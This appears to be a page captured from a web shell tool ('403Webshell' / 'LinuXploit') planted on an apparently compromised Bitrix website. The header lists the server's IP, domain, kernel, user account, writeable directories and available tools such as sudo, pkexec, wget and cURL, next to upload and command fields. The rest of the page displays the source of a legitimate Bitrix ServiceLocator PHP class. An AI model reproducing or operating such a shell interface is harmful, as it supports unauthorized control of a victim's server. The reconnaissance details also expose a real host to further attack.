403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/di/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/di/servicelocator.php
<?php

namespace Bitrix\Main\DI;

use Bitrix\Main\Config\Configuration;
use Bitrix\Main\DI\Exception\ServiceNotFoundException;
use Bitrix\Main\ObjectNotFoundException;
use Bitrix\Main\SystemException;
use Psr\Container\ContainerExceptionInterface;
use Psr\Container\NotFoundExceptionInterface;

final class ServiceLocator implements \Psr\Container\ContainerInterface
{
	/** @var string[][] */
	private array $services = [];
	private array $instantiated = [];
	private static ServiceLocator $instance;

	private function __construct()
	{}

	private function __clone()
	{}

	public static function getInstance(): self
	{
		if (!isset(self::$instance))
		{
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Adds service to locator.
	 * @param string $code
	 * @param mixed $service
	 */
	public function addInstance(string $code, mixed $service): void
	{
		$this->instantiated[$code] = $service;
	}

	/**
	 * Adds service with lazy initialization.
	 * @param string $id
	 * @param array $configuration
	 * @return void
	 * @throws SystemException
	 */
	public function addInstanceLazy(string $id, $configuration): void
	{
		if (!isset($configuration['className']) && !isset($configuration['constructor']))
		{
			throw $this->buildBadRegistrationExceptions($id);
		}

		$furtherClassMetadata = $configuration['className'] ?? $configuration['constructor'];

		$this->services[$id] = [$furtherClassMetadata, $configuration['constructorParams'] ?? []];
	}

	/**
	 * Registers services by module settings, which is stored in {moduleName}/.settings.php.
	 * @param string $moduleName
	 * @throws SystemException
	 */
	public function registerByModuleSettings(string $moduleName): void
	{
		$configuration = Configuration::getInstance($moduleName);
		$services = $configuration['services'] ?? [];
		foreach ($services as $code => $config)
		{
			if ($this->has($code))
			{
				//It means that there is overridden service in global .setting.php or extra settings.
				//Or probably service was registered manually.
				continue;
			}

			$this->addInstanceLazy($code, $config);
		}
	}

	/**
	 * Registers services by project settings, which is stored .settings.php.
	 * @throws SystemException
	 */
	public function registerByGlobalSettings(): void
	{
		$configuration = Configuration::getInstance();
		$services = $configuration['services'] ?? [];
		foreach ($services as $code => $config)
		{
			$this->addInstanceLazy($code, $config);
		}
	}

	/**
	 * Checks whether the service with code exists.
	 * @param string $id
	 * @return bool
	 */
	public function has(string $id): bool
	{
		return isset($this->services[$id]) || isset($this->instantiated[$id]);
	}

	/**
	 * Returns services by code.
	 *
	 * @param string $id
	 * @return mixed
	 * @throws ObjectNotFoundException|NotFoundExceptionInterface
	 */
	public function get(string $id)
	{
		if (isset($this->instantiated[$id]))
		{
			return $this->instantiated[$id];
		}

		if (!isset($this->services[$id]))
		{
			if (!class_exists($id))
			{
				throw $this->buildNotFoundException("Could not find service by code {$id}.");
			}

			$object = $this->createItemByClassName($id);
		}
		else
		{
			$object = $this->createItemByServiceName($id);
		}

		$this->instantiated[$id] = $object;

		return $object;
	}

	private function buildNotFoundException(string $msg): ObjectNotFoundException|NotFoundExceptionInterface
	{
		return new class($msg) extends ObjectNotFoundException
			implements NotFoundExceptionInterface {}
		;
	}

	private function buildBadRegistrationExceptions(string $id): SystemException|ContainerExceptionInterface
	{
		$message =
			"Could not register service {{$id}}." .
			"There is no {className} to find class or {constructor} to build instance."
		;

		return new class($message) extends SystemException implements ContainerExceptionInterface {};
	}

	/**
	 * Create object by className with all dependencies on construct
	 *
	 * @param string $className
	 * @return object|mixed|string
	 * @throws NotFoundExceptionInterface
	 * @throws ObjectNotFoundException
	 */
	private function createItemByClassName(string $className): object
	{
		try
		{
			return $this->createObjectWithFullConstruct($className);
		}
		catch (\ReflectionException $exception)
		{
			throw new ServiceNotFoundException(
				$exception->getMessage()
			);
		}
	}

	/**
	 * Returns object from service config
	 */
	private function createItemByServiceName(string $serviceName): mixed
	{
		[$class, $args] = $this->services[$serviceName];

		if ($class instanceof \Closure)
		{
			return $class();
		}

		if ($args instanceof \Closure)
		{
			$args = $args();
		}

		return new $class(...array_values($args));
	}

	/**
	 * Returns object with dependencies on construct and save all dependencies and this object in container
	 *
	 * @param string $className
	 * @return object|mixed|string
	 * @throws NotFoundExceptionInterface
	 * @throws ObjectNotFoundException
	 * @throws \ReflectionException
	 */
	private function createObjectWithFullConstruct(string $className): object
	{
		$class = new \ReflectionClass($className);

		$constructor = $class->getConstructor();
		if (!empty($constructor) && !$constructor->isPublic())
		{
			throw new ServiceNotFoundException(
				$className . ' constructor must be is public'
			);
		}

		$params = $constructor?->getParameters();

		if (empty($params))
		{
			return new $className();
		}

		$paramsForClass = [];
		foreach ($params as $param)
		{
			$type = $param->getType();
			if (empty($type) || ($type instanceof \ReflectionNamedType) === false)
			{
				throw new ServiceNotFoundException(
					$className . ' All parameters in the constructor must have real class type'
				);
			}

			$classNameInParams = $type->getName();
			if (!class_exists($classNameInParams))
			{
				throw new ServiceNotFoundException(
					"For {$className} error in params: {$classNameInParams} must be an existing class"
				);
			}

			$paramsForClass[] = $this->get($classNameInParams);
		}

		$object = $class->newInstanceArgs($paramsForClass);

		if (empty($object))
		{
			throw new ServiceNotFoundException(
				'Failed to create component ' . $className
			);
		}

		return $object;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit